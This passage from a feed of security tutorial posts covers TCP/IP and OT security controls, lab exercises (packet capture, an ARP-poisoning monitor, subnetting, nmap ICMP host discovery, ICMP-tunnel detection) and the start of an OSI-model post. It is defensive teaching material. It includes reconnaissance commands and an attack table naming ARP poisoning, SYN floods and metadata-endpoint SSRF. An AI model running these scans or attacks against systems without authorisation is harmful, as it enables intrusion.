    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;haslayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;TCP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;dport&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;502&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Modbus command from &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; to &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="c1"&gt;# Payload is the Modbus ADU
&lt;/span&gt;        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;haslayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Raw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Raw&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;func_code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
                &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;  Function code: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;func_code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;func_code&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;sniff&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;filter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tcp port 502&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;prn&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;inspect_modbus&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  12.3 TCP/IP Security Controls for OT
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Priority 1 — Network Segmentation:
  OT network MUST be isolated from IT network
  Use: dedicated firewall, DMZ for data exchange
  Not acceptable: direct routing between IT and OT VLANs

Priority 2 — Protocol Whitelisting:
  Firewall between zones should only allow specific OT protocols
  Allow: Modbus TCP (502) from HMI IPs to PLC IPs ONLY
  Block: All other traffic by default
  Log: All denied traffic for anomaly detection

Priority 3 — IP Addressing:
  Use RFC1918 addresses not routable from internet
  Separate OT subnets from IT subnets (different /24 ranges)
  Document all static IP assignments

Priority 4 — ARP/NDP Monitoring:
  Deploy arpwatch or commercial OT asset monitoring (Claroty, Nozomi)
  Alert on any ARP changes in OT network
  OT networks change slowly — any ARP change is suspicious

Priority 5 — Encrypted Management:
  Use SSH instead of Telnet for device management
  Use SNMPv3 instead of v1/v2c
  Disable HTTP management, use HTTPS
  VPN with MFA for remote access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  13. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: TCP Handshake Analysis (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture a complete TCP session and analyse every field&lt;/span&gt;

&lt;span class="c"&gt;# Start capture — focus on HTTP (unencrypted for full visibility)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/tcp_session.pcap &lt;span class="s1"&gt;'host neverssl.com and port 80'&lt;/span&gt;

&lt;span class="c"&gt;# In another terminal:&lt;/span&gt;
curl &lt;span class="nt"&gt;-v&lt;/span&gt; http://neverssl.com/ 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-30&lt;/span&gt;

&lt;span class="c"&gt;# Stop capture (Ctrl+C in tcpdump terminal)&lt;/span&gt;

&lt;span class="c"&gt;# Open in Wireshark:&lt;/span&gt;
wireshark /tmp/tcp_session.pcap

&lt;span class="c"&gt;# Tasks:&lt;/span&gt;
&lt;span class="c"&gt;# 1. Find the SYN packet — what is the client's ISN?&lt;/span&gt;
&lt;span class="c"&gt;#    Filter: tcp.flags.syn==1 and tcp.flags.ack==0&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 2. Find the SYN-ACK — what is the server's ISN?&lt;/span&gt;
&lt;span class="c"&gt;#    What TCP options does the server advertise?&lt;/span&gt;
&lt;span class="c"&gt;#    Filter: tcp.flags.syn==1 and tcp.flags.ack==1&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 3. Find the final ACK — verify: ack = server_ISN + 1&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 4. Find the HTTP GET request&lt;/span&gt;
&lt;span class="c"&gt;#    What sequence number does it start with?&lt;/span&gt;
&lt;span class="c"&gt;#    How large is the payload?&lt;/span&gt;
&lt;span class="c"&gt;#    Filter: http.request&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 5. Find the FIN packets — count the four-way termination&lt;/span&gt;
&lt;span class="c"&gt;#    Filter: tcp.flags.fin==1&lt;/span&gt;
&lt;span class="c"&gt;#&lt;/span&gt;
&lt;span class="c"&gt;# 6. Statistics → TCP Stream Graph → Time Sequence (tcptrace)&lt;/span&gt;
&lt;span class="c"&gt;#    Visualise the sequence numbers over time&lt;/span&gt;

&lt;span class="c"&gt;# Command-line analysis with tshark:&lt;/span&gt;
tshark &lt;span class="nt"&gt;-r&lt;/span&gt; /tmp/tcp_session.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; &lt;span class="s2"&gt;"tcp"&lt;/span&gt; &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; frame.time_relative &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.src &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; ip.dst &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.srcport &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.dstport &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.flags &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.seq &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.ack &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-e&lt;/span&gt; tcp.window_size_value
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: ARP Analysis and Simulation (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Part 1: Capture and analyse normal ARP&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'arp'&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &amp;amp;   &lt;span class="c"&gt;# Background capture&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;2
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="si"&gt;$(&lt;/span&gt;ip route | &lt;span class="nb"&gt;grep &lt;/span&gt;default | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;   &lt;span class="c"&gt;# Ping gateway (triggers ARP)&lt;/span&gt;
&lt;span class="nb"&gt;sleep &lt;/span&gt;2
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# Analyse:&lt;/span&gt;
&lt;span class="c"&gt;# - What was the ARP request? (broadcast to FF:FF:FF:FF:FF:FF)&lt;/span&gt;
&lt;span class="c"&gt;# - What was the ARP reply?&lt;/span&gt;
&lt;span class="c"&gt;# - What EtherType identifies ARP?&lt;/span&gt;
&lt;span class="c"&gt;# - What is the difference in packet size between request and reply?&lt;/span&gt;

&lt;span class="c"&gt;# Part 2: Examine your ARP cache&lt;/span&gt;
ip neigh show
&lt;span class="c"&gt;# For each entry, note:&lt;/span&gt;
&lt;span class="c"&gt;# - IP address&lt;/span&gt;
&lt;span class="c"&gt;# - Device (interface)&lt;/span&gt;
&lt;span class="c"&gt;# - MAC address&lt;/span&gt;
&lt;span class="c"&gt;# - State: REACHABLE/STALE/DELAY/PROBE/FAILED&lt;/span&gt;

&lt;span class="c"&gt;# Part 3: Write an ARP detection script&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/arp_monitor.py &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/usr/bin/env python3
"""
ARP Monitor — detect MAC address changes indicating ARP poisoning
"""
from scapy.all import sniff, ARP, Ether
from collections import defaultdict
import time

ip_mac_map = {}

def process_arp(pkt):
    if pkt.haslayer(ARP):
        if pkt[ARP].op == 2:  # ARP Reply (is-at)
            ip = pkt[ARP].psrc
            mac = pkt[ARP].hwsrc
            timestamp = time.strftime('%H:%M:%S')

            if ip in ip_mac_map:
                if ip_mac_map[ip] != mac:
                    print(f"[{timestamp}] [ALERT] ARP CHANGE DETECTED!")
                    print(f"  IP: {ip}")
                    print(f"  OLD MAC: {ip_mac_map[ip]}")
                    print(f"  NEW MAC: {mac}")
                    print(f"  Possible ARP poisoning attack!")
                else:
                    print(f"[{timestamp}] [OK] {ip} → {mac} (unchanged)")
            else:
                ip_mac_map[ip] = mac
                print(f"[{timestamp}] [NEW] {ip} → {mac}")

print("ARP monitor started. Watching for MAC changes...")
sniff(filter="arp", prn=process_arp, store=0)
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/arp_monitor.py
&lt;span class="nb"&gt;sudo &lt;/span&gt;python3 /tmp/arp_monitor.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: IPv4 Subnetting Practice (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Use Python to build intuition for subnetting:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import ipaddress

# Common subnetting scenarios in security:

# 1. Given an IP and subnet, find all hosts:
net = ipaddress.ip_network("10.10.10.0/24", strict=False)
print(f"Network: {net}")
print(f"Total addresses: {net.num_addresses}")
print(f"Usable hosts: {net.num_addresses - 2}")
print(f"First host: {list(net.hosts())[0]}")
print(f"Last host: {list(net.hosts())[-1]}")
print(f"Broadcast: {net.broadcast_address}")

# 2. Determine if two IPs are on the same subnet:
ip1 = ipaddress.ip_interface("192.168.1.50/24")
ip2 = ipaddress.ip_interface("192.168.1.100/24")
ip3 = ipaddress.ip_interface("192.168.2.50/24")
print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;{ip1.ip} and {ip2.ip} same network? {ip1.network == ip2.network}")
print(f"{ip1.ip} and {ip3.ip} same network? {ip1.network == ip3.network}")

# 3. Summarise a list of addresses (useful for firewall rules):
addresses = [
    "10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4",
    "10.0.0.5", "10.0.0.6", "10.0.0.7"
]
addr_objects = [ipaddress.ip_address(a) for a in addresses]
summary = list(ipaddress.collapse_addresses(addr_objects))
print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Summarised {len(addresses)} IPs into {len(summary)} range(s):")
for s in summary:
    print(f"  {s}")

# 4. Split a network into subnets (useful for network design):
big_net = ipaddress.ip_network("192.168.0.0/22")
subnets = list(big_net.subnets(new_prefix=24))
print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;/22 split into /24 subnets:")
for s in subnets:
    print(f"  {s} — {s.num_addresses - 2} hosts")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: ICMP Recon and Detection (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ICMP-based network reconnaissance:&lt;/span&gt;

&lt;span class="c"&gt;# 1. Host discovery using different ICMP types&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PE&lt;/span&gt; 192.168.1.0/24    &lt;span class="c"&gt;# Echo Request (standard ping)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PP&lt;/span&gt; 192.168.1.0/24    &lt;span class="c"&gt;# Timestamp Request (Type 13)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; &lt;span class="nt"&gt;-PM&lt;/span&gt; 192.168.1.0/24    &lt;span class="c"&gt;# Address Mask Request (Type 17)&lt;/span&gt;
&lt;span class="c"&gt;# Compare results — some hosts respond to some types but not others&lt;/span&gt;

&lt;span class="c"&gt;# 2. Traceroute analysis&lt;/span&gt;
mtr &lt;span class="nt"&gt;--report&lt;/span&gt; &lt;span class="nt"&gt;--report-cycles&lt;/span&gt; 5 8.8.8.8
&lt;span class="c"&gt;# Save output and analyse:&lt;/span&gt;
&lt;span class="c"&gt;# - Which hops have 100% packet loss? (ICMP Type 11 not returned — not necessarily down)&lt;/span&gt;
&lt;span class="c"&gt;# - Which hops have variable latency? (congestion)&lt;/span&gt;
&lt;span class="c"&gt;# - Where does the TTL drop occur geographically? (infer location from latency)&lt;/span&gt;

&lt;span class="c"&gt;# 3. Detect and block ICMP tunnel attempts&lt;/span&gt;
&lt;span class="c"&gt;# ICMP tunnels use large payloads — detect with:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="s1"&gt;'icmp and (icmp[icmptype] = icmp-echo or icmp[icmptype] = icmp-echoreply) and length &amp;gt; 200'&lt;/span&gt;

&lt;span class="c"&gt;# 4. Block ICMP redirect acceptance (hardening):&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl net.ipv4.conf.all.accept_redirects          &lt;span class="c"&gt;# Check current&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.conf.all.accept_redirects&lt;span class="o"&gt;=&lt;/span&gt;0     &lt;span class="c"&gt;# Disable&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.conf.all.secure_redirects&lt;span class="o"&gt;=&lt;/span&gt;0     &lt;span class="c"&gt;# Disable even from gateways&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;sysctl &lt;span class="nt"&gt;-w&lt;/span&gt; net.ipv4.icmp_echo_ignore_broadcasts&lt;span class="o"&gt;=&lt;/span&gt;1   &lt;span class="c"&gt;# Disable broadcast ping response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  14. Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Topic&lt;/th&gt;
&lt;th&gt;Core Mechanism&lt;/th&gt;
&lt;th&gt;Attack Relevance&lt;/th&gt;
&lt;th&gt;Defence&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TCP/IP Model&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4-layer encapsulation&lt;/td&gt;
&lt;td&gt;Every attack traverses the stack&lt;/td&gt;
&lt;td&gt;Defence must cover all layers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TCP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Reliable, ordered, connection-oriented byte stream&lt;/td&gt;
&lt;td&gt;SYN flood, session hijacking, RST injection, port scanning&lt;/td&gt;
&lt;td&gt;SYN cookies, stateful firewalls, randomised ISN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UDP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Connectionless, unreliable, low overhead&lt;/td&gt;
&lt;td&gt;Amplification DDoS, IP spoofing, loose firewall bypass&lt;/td&gt;
&lt;td&gt;BCP38, rate limiting, stateful UDP tracking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TCP Handshake&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SYN→SYN-ACK→ACK establishes bidirectional ISN exchange&lt;/td&gt;
&lt;td&gt;SYN flood exploits half-open state&lt;/td&gt;
&lt;td&gt;SYN cookies defer state allocation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TCP Termination&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;FIN→ACK→FIN→ACK graceful close&lt;/td&gt;
&lt;td&gt;TIME_WAIT exhaustion, RST injection&lt;/td&gt;
&lt;td&gt;RST validation, TIME_WAIT tuning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TCP Internals&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sliding window, congestion control, keepalive&lt;/td&gt;
&lt;td&gt;Zero-window DoS, ACK throttling&lt;/td&gt;
&lt;td&gt;Tune keepalive, monitor window behaviour&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IPv4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;32-bit hierarchical addressing&lt;/td&gt;
&lt;td&gt;IP spoofing, ICMP attacks, fragmentation attacks&lt;/td&gt;
&lt;td&gt;BCP38, fragment reassembly at border&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Special ranges&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;RFC1918, APIPA, loopback, multicast&lt;/td&gt;
&lt;td&gt;AWS metadata (169.254.169.254) SSRF, internal recon&lt;/td&gt;
&lt;td&gt;Firewall cloud metadata endpoints&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CIDR/Subnetting&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Variable-length prefix for network/host split&lt;/td&gt;
&lt;td&gt;Network enumeration, scope determination&lt;/td&gt;
&lt;td&gt;Minimal subnet sizes, VLAN isolation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NAT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Port-based translation of private to public IP&lt;/td&gt;
&lt;td&gt;Hides internal network topology, C2 bypasses NAT&lt;/td&gt;
&lt;td&gt;Logging NAT translations for forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IPv6&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;128-bit addressing, NDP, multicast-based&lt;/td&gt;
&lt;td&gt;Rogue RA attacks, NDP spoofing, bypasses IPv4-only security&lt;/td&gt;
&lt;td&gt;RA Guard, dual-stack firewalling, disable unused IPv6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ICMP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Network diagnostic and error reporting&lt;/td&gt;
&lt;td&gt;Ping of Death, Smurf, ICMP redirect, ICMP tunnel&lt;/td&gt;
&lt;td&gt;Drop/rate-limit ICMP, disable redirects, detect large payloads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ARP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;L2 IP-to-MAC resolution, no authentication&lt;/td&gt;
&lt;td&gt;ARP poisoning → MITM → intercept plaintext protocols&lt;/td&gt;
&lt;td&gt;DAI, arpwatch, 802.1X, static critical entries&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Next Module:&lt;/strong&gt; &lt;a href="//./stage-1.4-ip-addressing-subnetting.md"&gt;Stage 1.4 — IP Addressing and Subnetting&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Previous Module:&lt;/strong&gt; &lt;a href="//./stage-1.2-osi-model.md"&gt;Stage 1.2 — OSI Model&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Series Index:&lt;/strong&gt; &lt;a href="//../../README.md"&gt;Full Roadmap&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques are presented for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>bytewallacademy</category>
      <category>tcp</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Stage 1.2 — The OSI Model</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Mon, 01 Jun 2026 04:17:03 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-12-the-osi-model-jhj</link>
      <guid>https://dev.to/rencberakman/stage-12-the-osi-model-jhj</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.2 — The OSI Model&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.1 — Network Concepts&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.3 — TCP/IP Model&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why the OSI Model Is the Security Professional's Mental Framework&lt;/li&gt;
&lt;li&gt;OSI Model Overview — The Seven Layers&lt;/li&gt;
&lt;li&gt;Layer 1 — Physical&lt;/li&gt;
&lt;li&gt;Layer 2 — Data Link&lt;/li&gt;
&lt;li&gt;Layer 3 — Network&lt;/li&gt;
&lt;li&gt;Layer 4 — Transport&lt;/li&gt;
&lt;li&gt;Layer 5 — Session&lt;/li&gt;
&lt;li&gt;Layer 6 — Presentation&lt;/li&gt;
&lt;li&gt;Layer 7 — Application&lt;/li&gt;
&lt;li&gt;Encapsulation and Decapsulation — The Full Picture&lt;/li&gt;
&lt;li&gt;OSI vs TCP/IP — Where Theory Meets Reality&lt;/li&gt;
&lt;li&gt;Attacking Across the Stack — Layer-by-Layer Threat Map&lt;/li&gt;
&lt;li&gt;OSI in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why the OSI Model Is the Security Professional's Mental Framework
&lt;/h2&gt;

&lt;p&gt;Every security tool you will ever use operates at one or more specific layers of the OSI model. Every attack targets one or more specific layers. Every defence protects one or more specific layers. The moment you internalise OSI, you gain the ability to think about any network interaction — attack, defence, or forensics — with structural precision.&lt;/p&gt;

&lt;p&gt;Without OSI, security concepts become a disconnected list of techniques to memorise. With OSI, every technique has a logical home. You stop memorising and start reasoning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete examples of why this matters in practice:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When an alert fires in your SIEM saying "suspicious DNS traffic," you immediately know: DNS is Application Layer (L7). The alert is about behaviour at L7. The traffic still had to cross L1-L6 to get there. You know to check: is this DNS tunnelling (L7 data being abused to exfiltrate data)? Is the DNS server reachable only because a firewall rule was misconfigured at L3? Did an ARP poisoning attack at L2 redirect the DNS query to a rogue resolver?&lt;/p&gt;

&lt;p&gt;When a penetration tester reports "VLAN hopping vulnerability," you immediately know: VLANs are L2. The attack abuses how switches handle 802.1Q tagging at L2 to reach network segments that should be logically separated.&lt;/p&gt;

